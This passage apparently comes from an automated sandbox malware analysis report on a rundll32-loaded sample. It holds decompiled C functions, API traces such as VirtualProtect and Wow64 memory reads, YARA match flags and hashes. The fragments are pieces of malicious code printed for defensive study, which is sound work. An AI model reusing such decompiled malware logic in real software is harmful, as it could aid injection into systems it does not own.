                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$Free$Alloc
                                            • String ID:
                                            • API String ID: 986138563-0
                                            • Opcode ID: 1fc6c4e254e02171c21d985afc155097218fb7dd01b464c76f928725aea0764a
                                            • Instruction ID: 4a287301e2a94c92888412a207f104c28520cbaf27f5f000b5004bfb0af0dd10
                                            • Opcode Fuzzy Hash: 1fc6c4e254e02171c21d985afc155097218fb7dd01b464c76f928725aea0764a
                                            • Instruction Fuzzy Hash: 58311772500119AFCF11DF94C988CDBBBB9FFC97407648658F8559B211E632AD61CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6615 Relevance: 3.1, APIs: 2, Instructions: 62COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 50%
                                            			E04AB6615(intOrPtr* __eax, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v16;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr* _t32;
				intOrPtr _t42;
				intOrPtr _t45;
				intOrPtr _t48;
				void* _t51;

				_push( &_v16);
				_t42 =  *0x4aba348; // 0xb6d5a8
				_t2 = _t42 + 0x4abb470; // 0x20400
				_push(0);
				_push(__eax);
				_t51 =  *((intOrPtr*)( *__eax + 0x3c))();
				if(_t51 >= 0) {
					_t22 = _v16;
					_t45 =  *0x4aba348; // 0xb6d5a8
					_t6 = _t45 + 0x4abb490; // 0xe7a1af80
					_t23 =  *((intOrPtr*)( *_t22))(_t22, _t6,  &_v12); // executed
					_t51 = _t23;
					if(_t51 >= 0) {
						_t26 = _v12;
						_t51 =  *((intOrPtr*)( *_t26 + 0x1c))(_t26,  &_v8);
						if(_t51 >= 0) {
							_t48 =  *0x4aba348; // 0xb6d5a8
							_t30 = _v8;
							_t12 = _t48 + 0x4abb480; // 0xa4c6892c
							_t31 =  *((intOrPtr*)( *_t30))(_t30, _t12, _a4); // executed
							_t51 = _t31;
							_t32 = _v8;
							 *((intOrPtr*)( *_t32 + 8))(_t32);
						}
						_t28 = _v12;
						 *((intOrPtr*)( *_t28 + 8))(_t28);
					}
					_t24 = _v16;
					 *((intOrPtr*)( *_t24 + 8))(_t24);
				}
				return _t51;
			}


















                                            0x04ab6621
                                            0x04ab6622
                                            0x04ab6628
                                            0x04ab662f
                                            0x04ab6631
                                            0x04ab6635
                                            0x04ab6639
                                            0x04ab663b
                                            0x04ab6644
                                            0x04ab664a
                                            0x04ab6652
                                            0x04ab6654
                                            0x04ab6658
                                            0x04ab665a
                                            0x04ab6667
                                            0x04ab666b
                                            0x04ab6670
                                            0x04ab6676
                                            0x04ab667b
                                            0x04ab6683
                                            0x04ab6685
                                            0x04ab6687
                                            0x04ab668d
                                            0x04ab668d
                                            0x04ab6690
                                            0x04ab6696
                                            0x04ab6696
                                            0x04ab6699
                                            0x04ab669f
                                            0x04ab669f
                                            0x04ab66a6

                                            APIs
                                            • IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 04AB6652
                                            • IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 04AB6683
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Interface_ProxyQueryUnknown_
                                            • String ID:
                                            • API String ID: 2522245112-0
                                            • Opcode ID: 8fbfa2c1231a7d9fb49d8e02512c468419b371385899b971b449288859275fa5
                                            • Instruction ID: 21c8ea3acdd7e4f3be8b7c38453efd3d0bf933b7ffdc34711dadab905fb3f7db
                                            • Opcode Fuzzy Hash: 8fbfa2c1231a7d9fb49d8e02512c468419b371385899b971b449288859275fa5
                                            • Instruction Fuzzy Hash: A9212C75A00619AFCB00CFA4C898D9AB779FFC8704B148688E945DB325DA34ED41CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF1BBA Relevance: 3.1, APIs: 2, Instructions: 57COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • EnumProcessModules.PSAPI(00000008,00000000,00001000,00000000,00001000,?,00000104,00000000,?), ref: 05DF1BEA
                                            • GetLastError.KERNEL32(00000008,00000000,00001000,00000000,00001000,?,00000104,00000000), ref: 05DF1C31
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateEnumErrorFreeLastModulesProcess
                                            • String ID:
                                            • API String ID: 552344955-0
                                            • Opcode ID: ed2bdae32dea89197e0a0756c6a4b87a2696cfeeb319d5fe122f22556986941e
                                            • Instruction ID: ee38313d674f79b3fe19bd83891ef02213e589da570ef60a8df8e5cac344cf5f
                                            • Opcode Fuzzy Hash: ed2bdae32dea89197e0a0756c6a4b87a2696cfeeb319d5fe122f22556986941e
                                            • Instruction Fuzzy Hash: E0117371A00209EBCB11AFE8C844B9EFBB9FF81759F11405AE905E7210DB75DA41CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE7C1E Relevance: 3.1, APIs: 2, Instructions: 54memorytimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,05DE3344,69B25F44,?,?,00000000), ref: 05DE7C5B
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,05DE3344), ref: 05DE7CBC
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Time$FileFreeHeapSystem
                                            • String ID:
                                            • API String ID: 892271797-0
                                            • Opcode ID: 2be067ae72f0384911ce70a0ebf1f62e5f0b5f3fa6f2f379bf43e5cac1fa54bd
                                            • Instruction ID: 554fbbae4be28c8b963587109dfe158dabede2187445b287ab53d65ac721fc7c
                                            • Opcode Fuzzy Hash: 2be067ae72f0384911ce70a0ebf1f62e5f0b5f3fa6f2f379bf43e5cac1fa54bd
                                            • Instruction Fuzzy Hash: 5B11C8B6D11209EBDF11EBE4E949BDEBBBDEB08205F1001A7B502E2254DB349B44DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB28E4 Relevance: 3.1, APIs: 2, Instructions: 52COMMON
                                            Download Yara Rule
                                            APIs
                                            • SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 04AB290B
                                              • Part of subcall function 04AB69D2: SysFreeString.OLEAUT32(?), ref: 04AB6AB1
                                            • SafeArrayDestroy.OLEAUT32(?), ref: 04AB295B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ArraySafe$CreateDestroyFreeString
                                            • String ID:
                                            • API String ID: 3098518882-0
                                            • Opcode ID: b019b5026cc1c68878c27368c187b5f480997f4ea0c5260929faad489ba62a2b
                                            • Instruction ID: 75e6155dae0061648a04ba39dd7f72a6ed10d124a56f09b1f8365814ca0a071a
                                            • Opcode Fuzzy Hash: b019b5026cc1c68878c27368c187b5f480997f4ea0c5260929faad489ba62a2b
                                            • Instruction Fuzzy Hash: 2A115276900609BFEB01DFA8D804EEEB7B9EF08750F008055FA04E7161E774AA15CBD1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB78E7 Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SysAllocString.OLEAUT32(04AB744C), ref: 04AB7900
                                              • Part of subcall function 04AB69D2: SysFreeString.OLEAUT32(?), ref: 04AB6AB1
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB7941
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$Free$Alloc
                                            • String ID:
                                            • API String ID: 986138563-0
                                            • Opcode ID: 4fcdd8031dc96d64e7804ad4bfb58e0112c201cc2c69242923c08e802c89fdff
                                            • Instruction ID: 28d067f9607b9c2e2e3e541970c04f83e0146db764af46569a1f568b9769a1b0
                                            • Opcode Fuzzy Hash: 4fcdd8031dc96d64e7804ad4bfb58e0112c201cc2c69242923c08e802c89fdff
                                            • Instruction Fuzzy Hash: C1014F7550021ABFDB419FA9D804DDF7BB8EF48710B004022EA09E6121E6709D25CBE1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB427E Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 43memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB427E(intOrPtr* __edi, void* _a4, void* _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E04AB4E0B(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x4aba2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E04AB6D05(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                                            0x04ab427e
                                            0x04ab4286
                                            0x04ab429d
                                            0x04ab42b8
                                            0x04ab42bc
                                            0x04ab42c1
                                            0x04ab42c3
                                            0x04ab42d5
                                            0x04ab42e1
                                            0x04ab42c5
                                            0x04ab42c5
                                            0x04ab42ca
                                            0x04ab42cf
                                            0x04ab42cf
                                            0x04ab42c3
                                            0x04ab42e7
                                            0x04ab42eb
                                            0x04ab42eb
                                            0x04ab4292
                                            0x04ab4297
                                            0x04ab429b
                                            0x00000000
                                            0x00000000
                                            0x00000000

                                            APIs
                                              • Part of subcall function 04AB6D05: SysFreeString.OLEAUT32(00000000), ref: 04AB6D68
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,76F1F710,?,00000000,?,00000000,?,04AB681F,?,004F0053,056293D8,00000000,?), ref: 04AB42E1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Free$HeapString
                                            • String ID: Uv
                                            • API String ID: 3806048269-4002285713
                                            • Opcode ID: 129bd92497fc9ffea82b0ddacb5ee65ef8736fdf184598c12ef4e34381508b85
                                            • Instruction ID: 506e7d561d84c72b50874c42d28f9e14f0e58ca83a7ae12fc50e471ca492162b
                                            • Opcode Fuzzy Hash: 129bd92497fc9ffea82b0ddacb5ee65ef8736fdf184598c12ef4e34381508b85
                                            • Instruction Fuzzy Hash: 2B01FB36500619BBDB229F94CC01EEA7B6DEF58750F058028FE899E122D731E961EBD0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB1567 Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 37%
                                            			E04AB1567(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E04AB4DF6(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E04AB4C73(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                                            0x04ab156c
                                            0x04ab1577
                                            0x04ab1579
                                            0x04ab157f
                                            0x04ab1581
                                            0x04ab1586
                                            0x04ab158f
                                            0x04ab1593
                                            0x04ab159c
                                            0x04ab15a0
                                            0x04ab15af
                                            0x04ab15a2
                                            0x04ab15a3
                                            0x04ab15a8
                                            0x04ab15a8
                                            0x04ab15a0
                                            0x04ab1593
                                            0x04ab15b8

                                            APIs
                                            • GetComputerNameExA.KERNEL32(00000003,00000000,?,?,00000000,?,?,04AB641B), ref: 04AB157F
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • GetComputerNameExA.KERNEL32(00000003,00000000,?,?,?,?,04AB641B), ref: 04AB159C
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ComputerHeapName$AllocateFree
                                            • String ID:
                                            • API String ID: 187446995-0
                                            • Opcode ID: ffd3e24d2769dcf9fae60dd1ad6c3ab3324ae0a6c7a85aaea92e86c074f1af2d
                                            • Instruction ID: ed0a36f82fd62234a07d4893de35655916aa17338f974c4a807e508de80bb73c
                                            • Opcode Fuzzy Hash: ffd3e24d2769dcf9fae60dd1ad6c3ab3324ae0a6c7a85aaea92e86c074f1af2d
                                            • Instruction Fuzzy Hash: 34F03076A00145BBEB11DB998E50EEB66BCDBC9690F110155A945E3142EA70EF0196E0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB75C6 Relevance: 3.0, APIs: 2, Instructions: 35stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB75C6(WCHAR* _a4) {
				void* __edi;
				intOrPtr _t11;
				intOrPtr _t14;
				void* _t16;
				void* _t18;
				WCHAR* _t20;

				_t20 = E04AB4DF6(lstrlenW(_a4) + _t7 + 0x5c);
				if(_t20 == 0) {
					_t18 = 8;
				} else {
					_t11 =  *0x4aba348; // 0xb6d5a8
					_t5 = _t11 + 0x4abba48; // 0x43002f
					wsprintfW(_t20, _t5, 5, _a4);
					_t14 =  *0x4aba348; // 0xb6d5a8
					_t6 = _t14 + 0x4abb8f8; // 0x6d0063
					_t16 = E04AB3E6C(0, _t6, _t20, 0); // executed
					_t18 = _t16;
					E04AB4C73(_t20);
				}
				return _t18;
			}









                                            0x04ab75dc
                                            0x04ab75e0
                                            0x04ab7620
                                            0x04ab75e2
                                            0x04ab75e6
                                            0x04ab75ed
                                            0x04ab75f5
                                            0x04ab75fb
                                            0x04ab7606
                                            0x04ab760f
                                            0x04ab7615
                                            0x04ab7617
                                            0x04ab7617
                                            0x04ab7625

                                            APIs
                                            • lstrlenW.KERNEL32(76F1F710,00000000,?,04AB2AC0,00000000,?,76F1F710,00000000,76F1F730), ref: 04AB75CC
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • wsprintfW.USER32 ref: 04AB75F5
                                              • Part of subcall function 04AB3E6C: memset.NTDLL ref: 04AB3E8F
                                              • Part of subcall function 04AB3E6C: GetLastError.KERNEL32 ref: 04AB3EDB
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Heap$AllocateErrorFreeLastlstrlenmemsetwsprintf
                                            • String ID:
                                            • API String ID: 1672627171-0
                                            • Opcode ID: 1a3951eb4bb75daf763dfed800e8abe7376f7b4000ab3a7510051e621084bdd3
                                            • Instruction ID: aa730ed675fa55ef6c25c89c1a4781d393b11080031377d52f155ab18999b54f
                                            • Opcode Fuzzy Hash: 1a3951eb4bb75daf763dfed800e8abe7376f7b4000ab3a7510051e621084bdd3
                                            • Instruction Fuzzy Hash: F3F0B436601610ABE710AB59EC04EDB77ACDF84714F014422F640C7223DA34E84287E5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD9A58 Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DD9A62
                                            • RtlLeaveCriticalSection.NTDLL(05DF9420), ref: 05DD9A9E
                                              • Part of subcall function 05DEE376: lstrlen.KERNEL32(?,?,?,?,00000000,?,05DD17D3,?), ref: 05DEE3C4
                                              • Part of subcall function 05DEE376: VirtualProtect.KERNEL32(00000000,00000000,00000040,00000200,?,?,?,00000000,?,05DD17D3,?), ref: 05DEE3D6
                                              • Part of subcall function 05DEE376: lstrcpy.KERNEL32(00000000,?), ref: 05DEE3E5
                                              • Part of subcall function 05DEE376: VirtualProtect.KERNEL32(00000000,00000000,00000200,00000200,?,?,?,00000000,?,05DD17D3,?), ref: 05DEE3F6
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalProtectSectionVirtual$EnterFreeHeapLeavelstrcpylstrlen
                                            • String ID:
                                            • API String ID: 1872894792-0
                                            • Opcode ID: b368dab7f99eb756994f63cafe94c0ab3a866456ee196fb502e408f7cf39f62c
                                            • Instruction ID: 0af2b126d0736fe452145c8b31043ab402adde47efd27cde6d17a7a116669dd4
                                            • Opcode Fuzzy Hash: b368dab7f99eb756994f63cafe94c0ab3a866456ee196fb502e408f7cf39f62c
                                            • Instruction Fuzzy Hash: 2EF0E576B01215AB8720AF5CA8998BAFBA8FB99225312415BFE0653310CB725C40CBF0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEF936 Relevance: 3.0, APIs: 2, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • InterlockedIncrement.KERNEL32(05DF907C), ref: 05DEF94B
                                              • Part of subcall function 05DE5CA1: GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DE5CCC
                                              • Part of subcall function 05DE5CA1: HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 05DE5CD9
                                              • Part of subcall function 05DE5CA1: NtQueryInformationThread.NTDLL(000000FE,00000009,?,00000004,?), ref: 05DE5D65
                                              • Part of subcall function 05DE5CA1: GetModuleHandleA.KERNEL32(00000000), ref: 05DE5D70
                                              • Part of subcall function 05DE5CA1: RtlImageNtHeader.NTDLL(00000000), ref: 05DE5D79
                                              • Part of subcall function 05DE5CA1: RtlExitUserThread.NTDLL(00000000), ref: 05DE5D8E
                                            • InterlockedDecrement.KERNEL32(05DF907C), ref: 05DEF96F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InterlockedThreadTime$CreateDecrementExitFileHandleHeaderHeapImageIncrementInformationModuleQuerySystemUser
                                            • String ID:
                                            • API String ID: 1011034841-0
                                            • Opcode ID: 98cd8fc6d708f1ec22e9ee2d05a84fe421cb391252a08fadb6640fd5c696ce2a
                                            • Instruction ID: fd4b33759f1830e5aefcec4ea7eb7bc0189b96cdb8743d02d55b0167c24bc6d6
                                            • Opcode Fuzzy Hash: 98cd8fc6d708f1ec22e9ee2d05a84fe421cb391252a08fadb6640fd5c696ce2a
                                            • Instruction Fuzzy Hash: 4BE0ED31248226F78B217BB4AD08B6E6B52BB04A54F014957F5C6D1190E620C890D7A1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3D23 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB3D23(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x4aba2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x4aba1c8 = GetTickCount();
				_t5 = E04AB515F(_a4);
				if(_t5 == 0) {
					_t5 = E04AB39B5(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E04AB6729(_t9) != 0) {
							 *0x4aba300 = 1; // executed
						}
						_t7 = E04AB2C52(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                                            0x04ab3d23
                                            0x04ab3d2c
                                            0x04ab3d32
                                            0x04ab3d39
                                            0x04ab3d3d
                                            0x00000000
                                            0x04ab3d3d
                                            0x04ab3d4a
                                            0x04ab3d4f
                                            0x04ab3d56
                                            0x04ab3d5c
                                            0x04ab3d63
                                            0x04ab3d6c
                                            0x04ab3d6e
                                            0x04ab3d6e
                                            0x04ab3d78
                                            0x00000000
                                            0x04ab3d78
                                            0x04ab3d63
                                            0x04ab3d7d

                                            APIs
                                            • HeapCreate.KERNEL32(00000000,00400000,00000000,04AB3DA8,?), ref: 04AB3D2C
                                            • GetTickCount.KERNEL32 ref: 04AB3D40
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: CountCreateHeapTick
                                            • String ID:
                                            • API String ID: 2177101570-0
                                            • Opcode ID: d6dff7ac0f1dc5013084144c0f6525042c0928072bcbc4ec6935c7a36e29d1f7
                                            • Instruction ID: 1cecf5434d9a7b70fb726359c1a14f392f076f79825f1216b20a92ab8fa429d2
                                            • Opcode Fuzzy Hash: d6dff7ac0f1dc5013084144c0f6525042c0928072bcbc4ec6935c7a36e29d1f7
                                            • Instruction Fuzzy Hash: FFF06570240701EAFF202F7169057A9369CAF10748F104825EDC1D41A3E775F44597D1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE47AE Relevance: 2.6, APIs: 2, Instructions: 70memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE3D88: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 05DE3DC1
                                              • Part of subcall function 05DE3D88: VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,?,?), ref: 05DE3DF7
                                              • Part of subcall function 05DE3D88: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 05DE3E03
                                              • Part of subcall function 05DE3D88: lstrcmpi.KERNEL32(?,00000000), ref: 05DE3E40
                                              • Part of subcall function 05DE3D88: StrChrA.SHLWAPI(?,0000002E), ref: 05DE3E49
                                              • Part of subcall function 05DE3D88: lstrcmpi.KERNEL32(?,00000000), ref: 05DE3E5B
                                              • Part of subcall function 05DE3D88: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 05DE3EAC
                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,00000010,?,?,?,05DF50E8,0000002C,05DDB707,06378E36,?,00000000,05DDA3F0), ref: 05DE47ED
                                              • Part of subcall function 05DD1C78: GetProcAddress.KERNEL32(?), ref: 05DD1CA1
                                              • Part of subcall function 05DD1C78: NtWow64ReadVirtualMemory64.NTDLL(?,?,?,?,?,00000000,?), ref: 05DD1CC3
                                            • VirtualFree.KERNELBASE(?,00000000,00008000,00000010,?,?,?,05DF50E8,0000002C,05DDB707,06378E36,?,00000000,05DDA3F0,?,00000318), ref: 05DE4878
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Virtual$AllocFree$lstrcmpi$AddressMemory64ProcReadWow64
                                            • String ID:
                                            • API String ID: 4138075514-0
                                            • Opcode ID: 3334a03e14794956678dd7b748c2a327ce5bc224cdb2c7c00f35b9298c012dfb
                                            • Instruction ID: 28f713d5ec4005d14056d82d0a1a5fb8d2f3892afd434607db42bcee9b9fc9b7
                                            • Opcode Fuzzy Hash: 3334a03e14794956678dd7b748c2a327ce5bc224cdb2c7c00f35b9298c012dfb
